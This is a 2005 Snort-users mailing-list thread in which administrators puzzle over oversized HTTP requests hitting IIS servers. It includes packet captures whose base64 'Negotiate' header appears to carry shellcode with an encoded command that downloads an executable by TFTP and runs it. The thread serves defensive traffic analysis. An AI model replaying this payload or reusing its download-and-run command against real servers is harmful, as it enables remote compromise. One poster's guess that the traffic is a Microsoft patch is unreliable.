[Snort-users] Unrecognized attack patterns against IIS

TPanaitescu at ...2032... TPanaitescu at ...2032...
Sat Jun 11 09:00:56 EDT 2005


Hi,

Seen that too, it seems that it is a newer "patch" from MS for IE, or IEs 
configured for this, trying to negotiate authorization using SPNEGO from 
the GSS-API.  You can see the packets in full if you use a sniffer in 
front of that web server, I used ethereal and got the info below. 

Could be an attack also trying to get unauthorized access to a server. 
Anyone with another clue ?

GET / HTTP/1.0
Host: X.X.X.X
Authorization: Negotiate 
YIIQegYGKwYBBQUCoIIQbjCCEGqhghBmI4IQYgOCBAEAQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQ
UFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUF
BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQ
UFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUF
BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQ
UFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQQMAI4IMVwOCBAoAkEKQQpBCkEKBxFTy///86EYAAACLRTyLfAV4Ae+LTxiLXyAB6+MuSYs0iwHuMcCZrITAdAfByg0Bwuv0O1QkBHXji18kAetmiwxLi18cAeuLHIsB64lcJATDMcBki0AwhcB4D4tADItwHK
2LaAjpCwAAAItANAV8AAAAi2g8XzH2YFbrDWjvzuBgaJj+ig5X/+fo7v///2NtZCAvYyB0ZnRwIC1pIDAuMC4wLjAgR0VUIG1zdXBkdG0uZXhlJnN0YXJ0IG1zdXBkdG0uZXhlJmV4aXQAQkJCQkJCQkJCQkJCQkJCQkJC
QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk




"Michael Scheidell" <scheidell at ...5171...> 
Sent by: snort-users-admin at lists.sourceforge.net
06/11/2005 11:14 AM

To
<pen-test at ...35...>
cc
<Snort-users at lists.sourceforge.net>
Subject
[Snort-users] Unrecognized attack patterns against IIS







I do not recognize the pattern of these attached packed dumps, but, 
the computer on 24.214.205.38 is actively engaged in searching the 
internet for open web servers, see:
 http://www.mynetwatchman.com/LID.asp?ip=24.214.205.38

and 

Total Records against IP:                  1112
Number of targets:                193
Date Range:              2005-06-05 to 2005-06-11

http://www.dshield.org/ipinfo.php?ip=024.214.205.038

Anyone have any idea what they are trying to do?

-- 
Note: Timezone for this report is GMT.

Generated by BASE v1.1.2 (zora) on Sat, 11 Jun 2005 13:59:02 +0000 GMT. 
All Dates and Times in the report below are also TimeZone GMT.

------------------------------------------------------------------------
------
#(2 - 63022) [2005-06-11 13:51:47] [snort/15]  http_inspect: OVERSIZE
REQUEST-URI DIRECTORY

IPv4: 24.214.205.38 -> 208.138.xxx.xxx
      hlen=5 TOS=0 dlen=1420 ID=14896 flags=2 offset=0 TTL=111
chksum=60910
TCP:  port=61871 -> dport: 80  flags=***A**** seq=3054171714
      ack=3107109074 off=5 res=0 win=65535 urp=0 chksum=3681
Payload:  length = 1380

000 : 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51   UFBQUFBQUFBQUFBQ
010 : 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51   UFBQUFBQUFBQUFBQ
020 : 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51   UFBQUFBQUFBQUFBQ
030 : 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51   UFBQUFBQUFBQUFBQ
040 : 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51   UFBQUFBQUFBQUFBQ
050 : 55 46 42 51 55 46 42 51 55 46 42 51 51 4D 41 49   UFBQUFBQUFBQQMAI
060 : 34 49 4D 56 77 4F 43 42 41 6F 41 6B 45 4B 51 51   4IMVwOCBAoAkEKQQ
070 : 70 42 43 6B 45 4B 42 78 46 54 79 2F 2F 2F 38 36   pBCkEKBxFTy///86
080 : 45 59 41 41 41 43 4C 52 54 79 4C 66 41 56 34 41   EYAAACLRTyLfAV4A
090 : 65 2B 4C 54 78 69 4C 58 79 41 42 36 2B 4D 75 53   e+LTxiLXyAB6+MuS
0a0 : 59 73 30 69 77 48 75 4D 63 43 5A 72 49 54 41 64   Ys0iwHuMcCZrITAd
0b0 : 41 66 42 79 67 30 42 77 75 76 30 4F 31 51 6B 42   AfByg0Bwuv0O1QkB
0c0 : 48 58 6A 69 31 38 6B 41 65 74 6D 69 77 78 4C 69   HXji18kAetmiwxLi
0d0 : 31 38 63 41 65 75 4C 48 49 73 42 36 34 6C 63 4A   18cAeuLHIsB64lcJ
0e0 : 41 54 44 4D 63 42 6B 69 30 41 77 68 63 42 34 44   ATDMcBki0AwhcB4D
0f0 : 34 74 41 44 49 74 77 48 4B 32 4C 61 41 6A 70 43   4tADItwHK2LaAjpC
100 : 77 41 41 41 49 74 41 4E 41 56 38 41 41 41 41 69   wAAAItANAV8AAAAi
110 : 32 67 38 58 7A 48 32 59 46 62 72 44 57 6A 76 7A   2g8XzH2YFbrDWjvz
120 : 75 42 67 61 4A 6A 2B 69 67 35 58 2F 2B 66 6F 37   uBgaJj+ig5X/+fo7
130 : 76 2F 2F 2F 32 4E 74 5A 43 41 76 59 79 42 30 5A   v///2NtZCAvYyB0Z
140 : 6E 52 77 49 43 31 70 49 44 41 75 4D 43 34 77 4C   nRwIC1pIDAuMC4wL
150 : 6A 41 67 52 30 56 55 49 47 4E 6D 5A 79 35 6C 65   jAgR0VUIGNmZy5le
160 : 47 55 6D 63 33 52 68 63 6E 51 67 59 32 5A 6E 4C   GUmc3RhcnQgY2ZnL
170 : 6D 56 34 5A 53 5A 6C 65 47 6C 30 41 45 4A 43 51   mV4ZSZleGl0AEJCQ
180 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
190 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
1a0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
1b0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
1c0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
1d0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
1e0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
1f0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
200 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
210 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
220 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
230 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
240 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
250 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
260 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
270 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
280 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
290 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
2a0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
2b0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
2c0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
2d0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
2e0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
2f0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
300 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
310 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
320 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
330 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
340 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
350 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
360 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
370 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
380 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
390 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
3a0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
3b0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
3c0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
3d0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
3e0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
3f0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
400 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
410 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
420 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
430 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
440 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
450 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
460 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
470 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
480 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
490 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
4a0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
4b0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
4c0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
4d0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
4e0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
4f0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
500 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
510 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
520 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
530 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
540 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
550 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
560 : 6B 4A 43 51                                       kJCQ
------------------------------------------------------------------------
------
#(2 - 55922) [2005-06-08 01:52:00] [snort/15]  http_inspect: OVERSIZE
REQUEST-URI DIRECTORY

IPv4: 24.214.205.38 -> 208.138.xxx.xxx
      hlen=5 TOS=0 dlen=1420 ID=31328 flags=2 offset=0 TTL=111
chksum=44482
TCP:  port=52043 -> dport: 80  flags=***A**** seq=894735184
      ack=3806704065 off=5 res=0 win=65535 urp=0 chksum=62927
Payload:  length = 1380

000 : 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51   UFBQUFBQUFBQUFBQ
010 : 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51   UFBQUFBQUFBQUFBQ
020 : 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51   UFBQUFBQUFBQUFBQ
030 : 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51   UFBQUFBQUFBQUFBQ
040 : 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51   UFBQUFBQUFBQUFBQ
050 : 55 46 42 51 55 46 42 51 55 46 42 51 51 4D 41 49   UFBQUFBQUFBQQMAI
060 : 34 49 4D 56 77 4F 43 42 41 6F 41 6B 45 4B 51 51   4IMVwOCBAoAkEKQQ
070 : 70 42 43 6B 45 4B 42 78 46 54 79 2F 2F 2F 38 36   pBCkEKBxFTy///86
080 : 45 59 41 41 41 43 4C 52 54 79 4C 66 41 56 34 41   EYAAACLRTyLfAV4A
090 : 65 2B 4C 54 78 69 4C 58 79 41 42 36 2B 4D 75 53   e+LTxiLXyAB6+MuS
0a0 : 59 73 30 69 77 48 75 4D 63 43 5A 72 49 54 41 64   Ys0iwHuMcCZrITAd
0b0 : 41 66 42 79 67 30 42 77 75 76 30 4F 31 51 6B 42   AfByg0Bwuv0O1QkB
0c0 : 48 58 6A 69 31 38 6B 41 65 74 6D 69 77 78 4C 69   HXji18kAetmiwxLi
0d0 : 31 38 63 41 65 75 4C 48 49 73 42 36 34 6C 63 4A   18cAeuLHIsB64lcJ
0e0 : 41 54 44 4D 63 42 6B 69 30 41 77 68 63 42 34 44   ATDMcBki0AwhcB4D
0f0 : 34 74 41 44 49 74 77 48 4B 32 4C 61 41 6A 70 43   4tADItwHK2LaAjpC
100 : 77 41 41 41 49 74 41 4E 41 56 38 41 41 41 41 69   wAAAItANAV8AAAAi
110 : 32 67 38 58 7A 48 32 59 46 62 72 44 57 6A 76 7A   2g8XzH2YFbrDWjvz
120 : 75 42 67 61 4A 6A 2B 69 67 35 58 2F 2B 66 6F 37   uBgaJj+ig5X/+fo7
130 : 76 2F 2F 2F 32 4E 74 5A 43 41 76 59 79 42 30 5A   v///2NtZCAvYyB0Z
140 : 6E 52 77 49 43 31 70 49 44 41 75 4D 43 34 77 4C   nRwIC1pIDAuMC4wL
150 : 6A 41 67 52 30 56 55 49 47 4E 6D 5A 79 35 6C 65   jAgR0VUIGNmZy5le
160 : 47 55 6D 63 33 52 68 63 6E 51 67 59 32 5A 6E 4C   GUmc3RhcnQgY2ZnL
170 : 6D 56 34 5A 53 5A 6C 65 47 6C 30 41 45 4A 43 51   mV4ZSZleGl0AEJCQ
180 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
190 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
1a0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
1b0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
1c0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
1d0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
1e0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
1f0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
200 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
210 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
220 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
230 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
240 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
250 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
260 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
270 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
280 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
290 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
2a0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
2b0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
2c0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
2d0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
2e0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
2f0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
300 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
310 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
320 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
330 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
340 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
350 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
360 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
370 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
380 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
390 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
3a0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
3b0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
3c0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
3d0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
3e0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
3f0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
400 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
410 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
420 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
430 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
440 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
450 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
460 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
470 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
480 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
490 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
4a0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
4b0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
4c0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
4d0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
4e0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
4f0 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
500 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
510 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
520 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
530 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
540 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
550 : 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51 6B 4A 43 51   kJCQkJCQkJCQkJCQ
560 : 6B 4A 43 51                                       kJCQ
------------------------------------------------------------------------
------
#(2 - 54179) [2005-06-07 07:57:10] [snort/15]  http_inspect: OVERSIZE
REQUEST-URI DIRECTORY

IPv4: 24.214.205.38 -> 208.138.xxx.xxx
      hlen=5 TOS=0 dlen=1420 ID=18428 flags=2 offset=0 TTL=111
chksum=57378
TCP:  port=28477 -> dport: 80  flags=***A**** seq=124727956
      ack=3115002626 off=5 res=0 win=64860 urp=0 chksum=34813
Payload:  length = 1380

000 : 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51   UFBQUFBQUFBQUFBQ
010 : 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51   UFBQUFBQUFBQUFBQ
020 : 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51   UFBQUFBQUFBQUFBQ
030 : 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51   UFBQUFBQUFBQUFBQ
040 : 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51   UFBQUFBQUFBQUFBQ
050 : 55 46 42 51 55 46 42 51 55 46 42 51 51 4D 41 49   UFBQUFBQUFBQQMAI
060 : 34 49 4D 56 77 4F 43 42 41 6F 41 6B 45 4B 51 51   4IMVwOCBAoAkEKQQ
070 : 70 42 43 6B 45 4B 42 78 46 54 79 2F 2F 2F 38 36   pBCkEKBxFTy///86
080 : 45 59 41 41 41 43 4C 52 54 79 4C 66 41 56 34 41   EYAAACLRTyLfAV4A
090 : 65 2B 4C 54 78 69 4C 58 79 41 42 36 2B 4D 75 53   e+LTxiLXyAB6+MuS
0a0 : 59 73 30 69 77 48 75 4D 63 43 5A 72 49 54 41 64   Ys0iwHuMcCZrITAd
0b0 : 41 66 42 79 67 30 42 77 75 76 30 4F 31 51 6B 42   AfByg0Bwuv0O1QkB
0c0 : 48 58 6A 69 31 38 6B 41 65 74 6D 69 77 78 4C 69   HXji18kAetmiwxLi
0d0 : 31 38 63 41 65 75 4C 48 49 73 42 36 34 6C 63 4A   18cAeuLHIsB64lcJ
0e0 : 41 54 44 4D 63 42 6B 69 30 41 77 68 63 42 34 44   ATDMcBki0AwhcB4D
0f0 : 34 74 41 44 49 74 77 48 4B 32 4C 61 41 6A 70 43   4tADItwHK2LaAjpC
100 : 77 41 41 41 49 74 41 4E 41 56 38 41 41 41 41 69   wAAAItANAV8AAAAi
110 : 32 67 38 58 7A 48 32 59 46 62 72 44 57 6A 76 7A   2g8XzH2YFbrDWjvz
120 : 75 42 67 61 4A 6A 2B 69 67 35 58 2F 2B 66 6F 37   uBgaJj+ig5X/+fo7
130 : 76 2F 2F 2F 32 4E 74 5A 43 41 76 59 79 42 30 5A   v///2NtZCAvYyB0Z
140 : 6E 52 77 49 43 31 70 49 44 49 77 4F 43 34 32 4D   nRwIC1pIDIwOC42M
150 : 69 34 78 4E 6A 67 75 4D 54 51 67 52 30 56 55 49   i4xNjguMTQgR0VUI
160 : 47 4E 6D 5A 79 35 6C 65 47 55 6D 63 33 52 68 63   GNmZy5leGUmc3Rhc
170 : 6E 51 67 59 32 5A 6E 4C 6D 56 34 5A 53 5A 6C 65   nQgY2ZnLmV4ZSZle
